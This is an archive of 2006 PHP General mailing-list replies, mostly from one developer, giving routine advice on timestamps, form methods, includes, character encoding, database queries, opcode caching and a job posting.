Re: [PHP] weird timestamp problem
I'm not sure why you'd have that problem, but I definitely think you're over-engineering the code. That could well be why you're having a problem. You can greatly simplify it like so: $start_c = mktime(5, 0, 0, $month_t, $day_t, $year_t); $end_c = mktime(21, 30, 0, $month_t, $day_t, $year_t); for ($start_time = $start_c; $start_time = $end_c; $start_time += 900) { $start = date(g:i A, $start_time); $end = date(g:i A, $start_time + 900); print $startbr /$end; } There may be an edge-case at the end you need to deal with, as I've not tested the above, but as there's less code there's fewer places things can go wrong. That's generally a good way to do things. :-) On Thursday 07 December 2006 18:55, Amanda Emily wrote: I am working on an app that has 15 minute blocks of time to schedule meeting room reservations and have ran into an rather odd problem. Any ideas as to what could be causing this I am expecting the block of code output this: 7:00PM 7:15PM 7:15PM 7:30PM 7:30PM 7:45PM etc from 5:00 AM local time (PST) to 9:30 PM, but instead starting at 7:45PM, I see this (time jumps from 8:00 to 8:01). 7:45 PM 8:00 PM 8:01 PM 8:16 PM 8:16 PM 8:31 PM 8:31 PM 8:46 PM etc What is odd is that the app works as intended if I use 30 minute blocks of 15 minute blocks Snippet of code is below // menu start time $start_c = mktime(5, 0, 0, $month_t, $day_t, $year_t); // menu end time $end_c = mktime(21, 30, 0, $month_t, $day_t, $year_t); while($start_c $end_c) { $time_start = $start_c; $loop_s = $loop_s+900; $time_end = $end_c; $unix_e = $time_end-900; $unix_s = date(U, $time_start); $timeloop_e = date(g:i A, $time_end); $timeloop_s = date(g:i A, $time_start); print(trtd class=\timeblock\ align=\center\. $timeloop_s .br /. $timeloop_e . /td\n); } -- Larry Garfield AIM: LOLG42 [EMAIL PROTECTED] ICQ: 6817012 If nature has made any one thing less susceptible than all others of exclusive property, it is the action of the thinking power called an idea, which an individual may exclusively possess as long as he keeps it to himself; but the moment it is divulged, it forces itself into the possession of every one, and the receiver cannot dispossess himself of it. -- Thomas Jefferson -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php
Re: [PHP] alternative method
If you're talking about getting user data into a web script, then GET, POST, and cookies are the only options. All three are insecure, because they're coming from the user. The user is guilty until proven otherwise. Sanitize thy input. Sensitive data like username and password should never be sent by GET, because GET is bookmarkable while POST is not. GET should be used only for lookup of data, POST for any modification of data. I generally default to POST unless I specifically want something to be bookmarkable or copyable into an email to send to someone. On Saturday 02 December 2006 10:29, Alain Roger wrote: Hi, Based on phpsec.org documentation it is written (between lines) that GET and POST methods are still used but they are not the most secured (except if we take care for that). So, i would like to know which other methods are more secured that those 2. thx. Alain Windows XP SP2 PostgreSQL 8.1.4 Apache 2.0.58 PHP 5 -- Larry Garfield AIM: LOLG42 [EMAIL PROTECTED] ICQ: 6817012 If nature has made any one thing less susceptible than all others of exclusive property, it is the action of the thinking power called an idea, which an individual may exclusively possess as long as he keeps it to himself; but the moment it is divulged, it forces itself into the possession of every one, and the receiver cannot dispossess himself of it. -- Thomas Jefferson -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php
Re: [PHP] func_get_args as a hash? (faster constructors)
On Tuesday 28 November 2006 20:09, Jochem Maas wrote: Kelly Jones wrote: If I define a function like this: function foo ($x, $y, $z) {} and then call: foo(1,2,bar); is there a function I can call inside foo() that yields this hash: {x = 1, y = 2, z = bar} In other words, gives me the values *and names* of the arguments to foo? func_get_args just yields the values. Having this function would make writing constuctors easier. The normal way: fuction ClassName ($x, $y, $z) { $this-x = $x; $this-y = $y; $this-z = $z; } could be replaced with: function ClassName ($x, $y, $z) { foreach (magic_function_i_want() as $key=$val) { $this-$key =$val; } In the Javascript world, it's becoming more common to pass a key/value object (what in the PHP world we call an associative array) as a single parameter. That gives you keyed values, and no order-requirements if you want default values for the first 5 parameters and just one difference for the last one. To wit: function foo($params) { if (!isset($params['bar']) $params['bar'] = 'a'; if (!isset($params['baz']) $params['baz'] = 'b'; ... } Or for a constructor, you'd do something like this: class Foo { private $bar = 'a'; private $baz = 'b'; function __construct($params) { foreach ($params as $key = $value) { $this-$key = $value; } } } The down side of course is that calling the function/object has a different syntax then. Nothing is free. :-) -- Larry Garfield AIM: LOLG42 [EMAIL PROTECTED] ICQ: 6817012 If nature has made any one thing less susceptible than all others of exclusive property, it is the action of the thinking power called an idea, which an individual may exclusively possess as long as he keeps it to himself; but the moment it is divulged, it forces itself into the possession of every one, and the receiver cannot dispossess himself of it. -- Thomas Jefferson -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php
Re: [PHP] Self generating variables/arrays
If eval is the answer, you're asking the wrong question. You haven't given enough information to really say the best way to do what it is you're doing. However, I suspect that explode() and arrays of arrays (i.e., $a[1][2]) will do what you need to do much better than messing around with eval. On Sunday 26 November 2006 00:19, jekillen wrote: Hello; I am writing some code that will format results of a search for display. I need to split an array into several different arrays but I won't know before hand how many, so, I am looking for a way to dynamically generate arrays for this purpose. My present direction is to use the following code: for($i = 0; $i $c; $i++) { eval('$a_'.$i.' = array();'); } Where '$c' is the derived number of arrays need to hold the pieces of the bigger array. My confusion, though, is; since these are created in the scope of the for loop, I don't know if I can use them elsewhere in the code. The Global statement sends them outside the scope of the function this code is in, or does it? And I'm not even sure I am on the right track. Perhaps someone can say yay or nay on the spot, if not I can go back and do some experimenting. Thanks in advance Jeff K -- Larry Garfield AIM: LOLG42 [EMAIL PROTECTED] ICQ: 6817012 If nature has made any one thing less susceptible than all others of exclusive property, it is the action of the thinking power called an idea, which an individual may exclusively possess as long as he keeps it to himself; but the moment it is divulged, it forces itself into the possession of every one, and the receiver cannot dispossess himself of it. -- Thomas Jefferson -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php
Re: [PHP] security question
On Wednesday 22 November 2006 22:38, Robert Cummings wrote: maybe we should all refer to forum and google Teach a man to fish... And you lose your monopoly on fisheries. -- Larry Garfield AIM: LOLG42 [EMAIL PROTECTED] ICQ: 6817012 If nature has made any one thing less susceptible than all others of exclusive property, it is the action of the thinking power called an idea, which an individual may exclusively possess as long as he keeps it to himself; but the moment it is divulged, it forces itself into the possession of every one, and the receiver cannot dispossess himself of it. -- Thomas Jefferson -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php
Re: [PHP] PHP Programmers
On Saturday 18 November 2006 15:03, [EMAIL PROTECTED] wrote: Does anyone know of a good website, which rates PHP programmers? or Does anyone know of a good, trustworthy, reliable, and reasonably price programmer(s)? For what definition of reasonably priced? :-) My company has done sites ranging from small non-profits up through multiple tier-one universities. We're based in the Chicago area. Contact me off list for details if you're interested in more info. -- Larry Garfield AIM: LOLG42 [EMAIL PROTECTED] ICQ: 6817012 If nature has made any one thing less susceptible than all others of exclusive property, it is the action of the thinking power called an idea, which an individual may exclusively possess as long as he keeps it to himself; but the moment it is divulged, it forces itself into the possession of every one, and the receiver cannot dispossess himself of it. -- Thomas Jefferson -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php
Re: [PHP] Smart Quotes not so smart
On Thursday 16 November 2006 14:07, Chris Shiflett wrote: Larry Garfield wrote: I've run into this sort of issue a few times before, and never found a good solution. Not sure if this is the solution you're looking for, but you can convert them to regular quotes: http://shiflett.org/archive/165 OK, let's see if the list will let me send now... Thanks, Chris. Converting them would be fine, but a replace doesn't seem to be working. I'm trying to filter straight out of the $_POST array for it, and have tried both strtr() and str_replace(). No luck with either one. -- Larry Garfield AIM: LOLG42 [EMAIL PROTECTED] ICQ: 6817012 If nature has made any one thing less susceptible than all others of exclusive property, it is the action of the thinking power called an idea, which an individual may exclusively possess as long as he keeps it to himself; but the moment it is divulged, it forces itself into the possession of every one, and the receiver cannot dispossess himself of it. -- Thomas Jefferson -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php
Re: [PHP] Dynamic Year Drop Down
Quite simple: $this_year = date('Y'); for ($i= $this_year-1; $i $this_year+3; ++$i) { print option value='$i' . ($i==$this_year ? selected='selected' : '') . $i/option\n; } Obviously modify for however you're doing output. (Note that you DO want to have the redundant value attribute in there, otherwise some Javascript things don't work right in IE. Good habit to get into.) I don't think it can really get more simple and elegant. On Thursday 16 November 2006 23:26, Albert Padley wrote: I want to build a select drop down that includes last year, the current year and 3 years into the future. Obviously, I could easily hard code this or use a combination of the date and mktime functions to populate the select. However, I'm looking for a more elegant way of doing this. Thanks for pointing me in the right direction. Al Padley -- Larry Garfield AIM: LOLG42 [EMAIL PROTECTED] ICQ: 6817012 If nature has made any one thing less susceptible than all others of exclusive property, it is the action of the thinking power called an idea, which an individual may exclusively possess as long as he keeps it to himself; but the moment it is divulged, it forces itself into the possession of every one, and the receiver cannot dispossess himself of it. -- Thomas Jefferson -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php
[PHP] Smart Quotes not so smart
I've run into this sort of issue a few times before, and never found a good solution. Now a client has been hit with it and is asking for a solution, and I'm not convinced there is one. :-) Client has a large MS SQL database with lots of data. Some of that data includes smart quotes, aka curly quotes, but not real ones. They're the MS Word character encoding standards? What's that? smart quotes. On their old setup (SQL Server 2k, OpenLink ODBC driver, IIS, PHP 4.0.6), they actually worked just fine. On our old devel setup (the same but with a different ODBC driver), it worked fine. On our new devel setup (SQL Server 2k, OpenTDS ODBC driver, Apache, PHP 5.1.6), it works fine. On their new live setup, however, (same, but again not sure of the ODBC driver) they're getting the dreaded squares or question marks or accented characters that signify a garbled smart quote. I know they're not unicode characters because Windows, the DB server, and the driver are all set to either UTF-8 or UTF-16. We've tried eliminating middle-men to no avail. I've also tried doing a find-replace on the smart quote characters before they're inserted into the database, copying and pasting them from Word, and PHP skips right past them and enters them into the database. All we're left with is MAYBE telling them to dry a different ODBC driver or else fixing the data by hand. I don't like either option, myself. Does anyone have any better ideas to suggest? Any idea what those smart quotes actually are, and if they exist in ANY valid character set other than Word itself? -- Larry Garfield AIM: LOLG42 [EMAIL PROTECTED] ICQ: 6817012 If nature has made any one thing less susceptible than all others of exclusive property, it is the action of the thinking power called an idea, which an individual may exclusively possess as long as he keeps it to himself; but the moment it is divulged, it forces itself into the possession of every one, and the receiver cannot dispossess himself of it. -- Thomas Jefferson -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php
Re: [PHP] CSS / PHP / Javascript
As a footnote, do NOT then generate different CSS for each browser. Simply generate different link tags in the header to point to style.css or style-broken-ie.css. Those should both be static, ordinary files so that you get all of the browser's caching magic free of charge. On Tuesday 14 November 2006 22:15, zoticaic wrote: I guess the $_SERVER predefined variable can be used determining the platform and browser/user-agent and loading the CSS of choice. http://www.php.net/manual/en/reserved.variables.php Enjoy! Jervin -Original Message- From: Ed Lazor [mailto:[EMAIL PROTECTED] Sent: Wednesday, November 15, 2006 12:01 PM To: PHP General List Subject: [PHP] CSS / PHP / Javascript I'm reading a book on CSS and how you can define different style sheets for different visitors. I'm wondering how you guys do it. The book recommends using Javascript functions for identifying the user's browser and matching them with the corresponding style sheets. Anyone using PHP for this instead - specifically with defining style sheets for different target browsers and platforms? -Ed -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php -- Larry Garfield AIM: LOLG42 [EMAIL PROTECTED] ICQ: 6817012 If nature has made any one thing less susceptible than all others of exclusive property, it is the action of the thinking power called an idea, which an individual may exclusively possess as long as he keeps it to himself; but the moment it is divulged, it forces itself into the possession of every one, and the receiver cannot dispossess himself of it. -- Thomas Jefferson -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php
Re: [PHP] Mysql strategy
On Monday 13 November 2006 17:51, Chris wrote: It's not going to make a great deal of difference if you do the processing in the MySQL or the PHP, in this case it's basically the same operation in each. I suspect that efficiently recreating the LIKE functionality in PHP wouldn't be trivial to do, if you are just doing straight comparisons the MySQL STRCMP function should be faster. I'd say there will be a big difference. Pulling in 10,000 entries from the database and then sorting them in php will take a lot of memory (and database time to retrieve all of the entries). Getting the database to restrict that number of entries will take a little time but it doesn't have to return all entries, your php memory won't blow out and it won't have bugs in it. As a general rule, I try to push as much logic into the query as I can for the simple reason that MySQL is optimized C and my PHP code gets interpreted. The odds of me writing something in PHP that's faster than MySQL AB's C code are slim. :-) The exception is grouping, which I've often had to do in PHP with a loop to rebuild a result array. The performance hit for that is not that big, however, and if you free() the result set afterward then the memory usage is not a major issue either. If you're finding your query is slow, look into your indexes. Just today I cut a single query from 230 seconds to 21 seconds just by adding two indexes. :-) -- Larry Garfield AIM: LOLG42 [EMAIL PROTECTED] ICQ: 6817012 If nature has made any one thing less susceptible than all others of exclusive property, it is the action of the thinking power called an idea, which an individual may exclusively possess as long as he keeps it to himself; but the moment it is divulged, it forces itself into the possession of every one, and the receiver cannot dispossess himself of it. -- Thomas Jefferson -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php
Re: [PHP] http_build_query ... argh
On Thursday 09 November 2006 10:22, Jochem Maas wrote: apparently http_build_query() has been 'fixed' so that it now urlencodes square brackets (and if you have never used square brackets in a url pointing a php script then your obviously new here ;-) this is fine - apart from the fact that I have a rather complex generic thingy that not only uses http_build_query() to build actual URLs but also to generate the input names of hidden form fields (sometimes one needs/wants to place a stack of request arguments as hidden inputs instead of as GET parameters of a URL. Er, wouldn't the better solution be to fix http_build_query to not break when handling fairly typical PHP URLs? -- Larry Garfield AIM: LOLG42 [EMAIL PROTECTED] ICQ: 6817012 If nature has made any one thing less susceptible than all others of exclusive property, it is the action of the thinking power called an idea, which an individual may exclusively possess as long as he keeps it to himself; but the moment it is divulged, it forces itself into the possession of every one, and the receiver cannot dispossess himself of it. -- Thomas Jefferson -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php
Re: [PHP] Nested includes - Relative paths?
On Wednesday 08 November 2006 07:52, Nuno Vaz Oliveira wrote: Hello Larry, Now I think I got it :) All include statements are parsed based on the defined include path, where . is interpreted relative to the active context, vis, the script that the web server itself is running. I wasn't aware of the existence of an include_path... That's why I was having a strange behaviour. It doesn't look for the files in one only one place. Instead, it looks for the files in possible places (defined by include_path) using a priority for that. Right? Correct. http://www.php.net/set_include_path -- Larry Garfield AIM: LOLG42 [EMAIL PROTECTED] ICQ: 6817012 If nature has made any one thing less susceptible than all others of exclusive property, it is the action of the thinking power called an idea, which an individual may exclusively possess as long as he keeps it to himself; but the moment it is divulged, it forces itself into the possession of every one, and the receiver cannot dispossess himself of it. -- Thomas Jefferson -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php
Re: [PHP] Nested includes - Relative paths?
On Tuesday 07 November 2006 21:50, Nuno Vaz Oliveira wrote: because INCLUDE\SESSION.PHP is going to be included in INDEX.PHP witch is NOT in the same directory of DATABASE.PHP? In other words... When PHP processes an include statement does it include the file where the include statement is and then process its contents (eventualy including other files) or does PHP processes the file to be included and only includes it after that? When PHP hits an include() (or require(), or include_once(), etc.), it copies the contents of the included file into the running context and executes it. That process is recursive. All include statements are parsed based on the defined include path, where . is interpreted relative to the active context, vis, the script that the web server itself is running. That means that if the include path contains ., and apache executes a.php, and a.php includes foo/b.php, and b.php includes c.php, then c.php is looked up on the file system as ./c.php, relative to a.php, since that's what apache is actually running. Got that? :-) -- Larry Garfield AIM: LOLG42 [EMAIL PROTECTED] ICQ: 6817012 If nature has made any one thing less susceptible than all others of exclusive property, it is the action of the thinking power called an idea, which an individual may exclusively possess as long as he keeps it to himself; but the moment it is divulged, it forces itself into the possession of every one, and the receiver cannot dispossess himself of it. -- Thomas Jefferson -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php
Re: [PHP] Closing a connection to browser without exiting the script
Well, really you can't do that. A PHP request only takes interrupt input when it starts, from the GET, POST, COOKIE, and SESSION magic variables. It doesn't run as a daemon. A fresh Ajax call to the script starts a new instance of the script. Fortunately, PHP's engine is fast enough that the performance is still not that much of a problem unless you're grossly over-including code. The only way to have a stay-resident PHP daemon for Ajax callbacks would be to either (a) Use an Opcode cache, which is not really a stay-resident but would eliminate a lot of the repetitive initialization in the engine or (b) write a CLI PHP script that you load on the server as a daemon that listens on a port, essentially same way that apache or MySQL or postfix or any other daemon does. For the latter you may have to use an off-port. For what you're trying to do, I'd suggest just writing your script normally and letting the Zend engine take care of it for you. If you're really concerned about performance you can have two include conditions, one for a full page and one for an Ajax call, but you have to be very careful about how you structure your code then. An Opcode cache would be easier and more flexible. As for persistent data across requests, that's what sessions are for. On Sunday 05 November 2006 06:04, David Négrier wrote: Hi All, Thanks a lot for your numerous answers. I've learned a lot from all your suggestions. Actually, combining all your answers, I'll come up with a solution. To be more explicit on what I want to do, I want in fact to start a script, I want that script to display a page, and then, I want that script not to stop, but I want to be able to access that script back using AJAX calls from the web page. So my script is opening a network connection after having displayed the web page and is waiting for incoming calls. Although no solution given here is fully satisfying (because I don't want to launch antother script, I want to remain in the same) I still can find a way to close my connection to the browser (using a header specifying the connection length) and then go back to my script using AJAX. Thanks a lot for the time you took to propose solutions. Best regards, David. www.thecodingmachine.com Eric Butera a écrit : On 11/1/06, David Négrier [EMAIL PROTECTED] wrote: Hello there, I'm having a somewhat unusual question here, and I cannot find any way to solve it. I have a PHP page that displays a message, and then, performs a very long operation. Note that it displays the message first. I do not intend to give some feedback to the user when the operation is done. I've seen I can use ignore_user_abort() to prevent the user from stopping the ongoing operation, but that solves only part of my problem. Because as long as the page is not fully loaded, the mouse cursor in the user's browser is showing a watch. So ideally, what I would like is to be able to close the connection from the server-side, but without using the exit() function, so my script keeps running afterwards. I know I could use a system() call to launch another process to do the processing, but I would like to avoid doing that, because there are many variables in the context that I cannot easily pass in parameter. I also tried to use the register_shutdown_function() to perform my operation after the page is displayed but since PHP 4.1.0, the connection is closed after the function is called Would any of you have an idea on how I could close that connection? Thanks a lot, David www.thecodingmachine.com -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php If you haven't gone with any of the listed methods yet you could use fsockopen with a timeout value to accomplish your goal. frontend.php: ?php $fp = fsockopen(localhost, 80); fwrite($fp, GET /long_processing_script.php HTTP/1.0\r\n\r\n); stream_set_timeout($fp, 1); echo done!; ? long_processing_script.php: ?php ignore_user_abort(); set_time_limit(0); // do stuff here ? -- Larry Garfield AIM: LOLG42 [EMAIL PROTECTED] ICQ: 6817012 If nature has made any one thing less susceptible than all others of exclusive property, it is the action of the thinking power called an idea, which an individual may exclusively possess as long as he keeps it to himself; but the moment it is divulged, it forces itself into the possession of every one, and the receiver cannot dispossess himself of it. -- Thomas Jefferson -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php
Re: [PHP] str_replace on words with an array
On Monday 30 October 2006 15:10, Dotan Cohen wrote: Er, so how would it be done? I've been trying for two days now with no success. From your original message, it sounds like you want to strip selected complete words, not substrings, from a string for indexing or searching or such. Right? Try something like this: $string = The quick sly fox jumped over a fence and ran away; $words = array('the', 'a', 'and'); function make_regex($str) { return '/\b' . $str . '\b/i'; } $search = array_map('make_regex', $words); $string = preg_replace($search, '', $string); print $string . \n; What you really need to do that is to match word boundaries, NOT string boundaries. So you take your list of words and mutate *each one* (that's what the array_map() is about) into a regex pattern that finds that word, case-insensitively. Then you use preg_replace() to replace all matches of any of those patterns with an empty string. You were close. What you were missing was the array_map(), because you needed to concatenate stuff to each element of the array rather than trying to concatenate a string to an array, which as others have said will absolutely not work. I can't guarantee that the above code is the best performant method, but it works. :-) -- Larry Garfield AIM: LOLG42 [EMAIL PROTECTED] ICQ: 6817012 If nature has made any one thing less susceptible than all others of exclusive property, it is the action of the thinking power called an idea, which an individual may exclusively possess as long as he keeps it to himself; but the moment it is divulged, it forces itself into the possession of every one, and the receiver cannot dispossess himself of it. -- Thomas Jefferson -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php
Re: [PHP] heredoc usage [WAS: OPTION]
On Saturday 28 October 2006 18:15, Robert Cummings wrote: As far as I can tell, single and double quotes are interchangeable (but unmixable) in both HTML and XHTML. When did single quotes go bad? Hmmm, I've been under the impression for quite some time that single quotes are somehow inferior to double quotes, but having just checked through both the XHTML and XML standard I couldn't find anything that supports that stance :/ Cheers, Rob. I've been using single quoted (X)HTML attributes for some time now without trouble. The only catch is when you're dynamically building a DOM 1 attribute like onclick, as the Javascript inside will almost invariably have a quotation mark in there somewhere, which by convention is single-quoted and the HTML double quoted. Of course, you should be using DOM 2 event handlers anyway, but that's beside the point... :-) It surprised me, too, when I realized single quotes were kosher (X)HTML, but it can be quite convenient. -- Larry Garfield AIM: LOLG42 [EMAIL PROTECTED] ICQ: 6817012 If nature has made any one thing less susceptible than all others of exclusive property, it is the action of the thinking power called an idea, which an individual may exclusively possess as long as he keeps it to himself; but the moment it is divulged, it forces itself into the possession of every one, and the receiver cannot dispossess himself of it. -- Thomas Jefferson -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php
Re: [PHP] forms usage in web pages
There's nothing wrong with multiple forms on a single page, as long as all id attributes in all elements are unique on the entire page, not just within the form. Just make sure that each form is self-contained with its own submit button and such. Only the form whose submit button is clicked will get submitted by the browser. Whether or not you want to use multiple forms for a given set of tasks or multiple submit buttons in a single form (which you can then test to see which was clicked) will depend on what it is you're doing. Both are perfectly legitimate ways of doing things, depending on what things you're doing. On Sunday 29 October 2006 01:45, Karthi S wrote: hi, i am newbie to web programming. i have a basic doubt in using forms. Is it advisable to use multiple forms performing various functions in a single web page. what are the pros and cons of using that. Please forgive me if this is not the right mailing list to post this question. But help me out in clarifying this basic doubt. thanks in advance Karthi -- Larry Garfield AIM: LOLG42 [EMAIL PROTECTED] ICQ: 6817012 If nature has made any one thing less susceptible than all others of exclusive property, it is the action of the thinking power called an idea, which an individual may exclusively possess as long as he keeps it to himself; but the moment it is divulged, it forces itself into the possession of every one, and the receiver cannot dispossess himself of it. -- Thomas Jefferson -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php
Re: [PHP] Job Opening
On Wednesday 25 October 2006 22:15, Larry Garfield wrote: Well since the consensus seemed to be to allow job postings, I'll make one. :-) My company is looking for a few good PHP programmers. We are a Chicago-area web consulting firm developing web sites and web applications for a variety of clients, including several large academic institutions. We are looking for skilled PHP developers to join our team. (Sorry, that means yes, you'd have to work with me.) It's a small but growing company of less than 10 people, all fairly young and geeky. :-) Experience with PHP (although not necessarily prior work experience) is a must. If interested, contact me OFF-LIST for more information. Note: I am NOT in a hiring position, so do NOT send me your resume. :-) I'm just going to pass you on to the person who is. As a follow-up, since several people have asked: We are looking for permanent legal US residents only, and primarily for people that can work on-site rather than telecommute. We are open to hearing from off-site people who can consult for future reference, however. -- Larry Garfield AIM: LOLG42 [EMAIL PROTECTED] ICQ: 6817012 If nature has made any one thing less susceptible than all others of exclusive property, it is the action of the thinking power called an idea, which an individual may exclusively possess as long as he keeps it to himself; but the moment it is divulged, it forces itself into the possession of every one, and the receiver cannot dispossess himself of it. -- Thomas Jefferson -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php
Re: [PHP] DATETIME or UNIX TIMESTAMPS?
On Thursday 26 October 2006 15:36, Marcelo de Moraes Serpa wrote: Hello list, I've always used Unix Timestamps until now, but lately I've reading about MySQL's datetime datatype and its benefits (dates before 1970, after 2030, SQL functions to deal with them, etc). However, I don't see much support for them in the PHP API. I'm also a Flash programmer and the Flash 8 API Date datatype also only understands unix timestamps. Taking this into account, I'm not really sure if it really worths it to move to the DATETIME datatype. What would you do? Any advice would be much appreciated! Marcelo. I tend to stick to unix timestamps as well, because date formats are completely unstandard between different SQL databases. MySQL's date futzing functions are nice, but they're different than Postgres', which are different than Oracle's, etc. Generally, most of the the math I need to do I can do in PHP either before or after grabbing the timestamp. I am sure there is a counter point, but this for what I do I just stick to timestamps. :-) -- Larry Garfield AIM: LOLG42 [EMAIL PROTECTED] ICQ: 6817012 If nature has made any one thing less susceptible than all others of exclusive property, it is the action of the thinking power called an idea, which an individual may exclusively possess as long as he keeps it to himself; but the moment it is divulged, it forces itself into the possession of every one, and the receiver cannot dispossess himself of it. -- Thomas Jefferson -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php
Re: [PHP] How does the Zend engine behave?
On Thursday 26 October 2006 20:28, [EMAIL PROTECTED] wrote: If you have a PHP script that is 4M in length, you've done something horribly wrong. :-) Sort of. I'm using Drupal with lots of modules loaded. PHP memory_limit is set to 20MB, and at times 20MB is used. I think that works per request. All the evidence points to that. So 10 concurrent requests, which is not unrealistic, it could use 400MB + webserver overhead. And I still want to combine it with another bit of software that will use 10 to 15MB per request. It's time to think about memory usage and whether there are any strategies to disengage memory usage from request rate. Drupal tends to use about 10 MB of memory in normal usage for a reasonable set of modules in my experience, but a crapload more on the admin/modules page because it has to load everything in order to do so. Normally you won't hit that page very often. :-) However, Drupal is deliberately friendly toward APC. I don't recall the stats (I know someone made some pretty graphs at one point, but I can't find them), but simply throwing APC at Drupal should give you a hefty hefty performance boost. I believe APC does cache-one-run-many, so the code, at least, will only be stored in RAM once rather than n times. (Richard is correct, though, that data is generally larger than code in most apps.) Also, search the Drupal forums for something called Split mode. It was something chx was putting together a while back. I don't know what it's status is, but he claimed to get a nice performance boost out of it. Cheers. -- Larry Garfield AIM: LOLG42 [EMAIL PROTECTED] ICQ: 6817012 If nature has made any one thing less susceptible than all others of exclusive property, it is the action of the thinking power called an idea, which an individual may exclusively possess as long as he keeps it to himself; but the moment it is divulged, it forces itself into the possession of every one, and the receiver cannot dispossess himself of it. -- Thomas Jefferson -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php
Re: [PHP] How does the Zend engine behave?
On Wednesday 25 October 2006 14:48, Jon Anderson wrote: Take this with a grain of salt. I develop with PHP, but I am not an internals guy... [EMAIL PROTECTED] wrote: Are the include files only compiled when execution hits them, or are all include files compiled when the script is first compiled, which would mean a cascade through all statically linked include files. By statically linked files I mean ones like include ('bob.php') - i.e the filename isn't in a variable. Compiled when execution hits them. You can prove this by trying to conditionally include a file with a syntax error: if (false) include('script_with_syntax_error.php'); won't cause an error. Secondly, are include files that are referenced, but not used, loaded into memory? I.e Are statically included files automatically loaded into memory at the start of a request? (Of course those where the name is variable can only be loaded once the name has been determined.) And when are they loaded into memory? When the instruction pointer hits the include? Or when the script is initially loaded? If your include file is actually included, it will use memory. If it is not included because of some condition, then it won't use memory. Are included files ever unloaded? For instance if I had 3 include files and no loops, once execution had passed from the first include file to the second, the engine might be able to unload the first file. Or at least the code, if not the data. If you define a global variable in an included file and don't unset it anywhere, then it isn't automatically unloaded, nor are function/class definitions unloaded when execution is finished. Once you include a file, it isn't unloaded later though - even included files that have just executed statements (no definitions saved for later) seem to eat a little memory once, but it's so minimal that you wouldn't run into problems unless you were including many thousand files. Including the same file again doesn't eat further memory. I assume the eaten memory is for something to do with compilation or caching in the ZE. Thirdly, I understand that when a request arrives, the script it requests is compiled before execution. Now suppose a second request arrives for the same script, from a different requester, am I right in assuming that the uncompiled form is loaded? I.e the script is tokenized for each request, and the compiled version is not loaded unless you have engine level caching installed - e.g. MMCache or Zend Optimiser. I think that's correct. If you don't have an opcode cache, the script is compiled again for every request, regardless of who requests it. IMO, you're probably better off with PECL/APC or eAccelerator rather than MMCache or Zend Optimizer. I use APC personally, and find it exceptional - rock solid + fast. (eAccelerator had a slight performance edge for my app up until APC's most recent release, where APC now has a significant edge.) Fourthly, am I right in understanding that scripts do NOT share Fifthly, if a script takes 4MB, given point 4, does the webserver demand 8MB if it is simultaneously servicing 2 requests? Yep. More usually with webserver/PHP overhead. Unless you're using an opcode cache, as I believe some of the are smarter about that. Which and how, I don't know. :-) -- Larry Garfield AIM: LOLG42 [EMAIL PROTECTED] ICQ: 6817012 If nature has made any one thing less susceptible than all others of exclusive property, it is the action of the thinking power called an idea, which an individual may exclusively possess as long as he keeps it to himself; but the moment it is divulged, it forces itself into the possession of every one, and the receiver cannot dispossess himself of it. -- Thomas Jefferson -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php
[PHP] Job Opening
Well since the consensus seemed to be to allow job postings, I'll make one. :-) My company is looking for a few good PHP programmers. We are a Chicago-area web consulting firm developing web sites and web applications for a variety of clients, including several large academic institutions. We are looking for skilled PHP developers to join our team. (Sorry, that means yes, you'd have to work with me.) It's a small but growing company of less than 10 people, all fairly young and geeky. :-) Experience with PHP (although not necessarily prior work experience) is a must. If interested, contact me OFF-LIST for more information. Note: I am NOT in a hiring position, so do NOT send me your resume. :-) I'm just going to pass you on to the person who is. -- Larry Garfield AIM: LOLG42 [EMAIL PROTECTED] ICQ: 6817012 If nature has made any one thing less susceptible than all others of exclusive property, it is the action of the thinking power called an idea, which an individual may exclusively possess as long as he keeps it to himself; but the moment it is divulged, it forces itself into the possession of every one, and the receiver cannot dispossess himself of it. -- Thomas Jefferson -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php
Re: [PHP] Creating Tree Structure from associative array
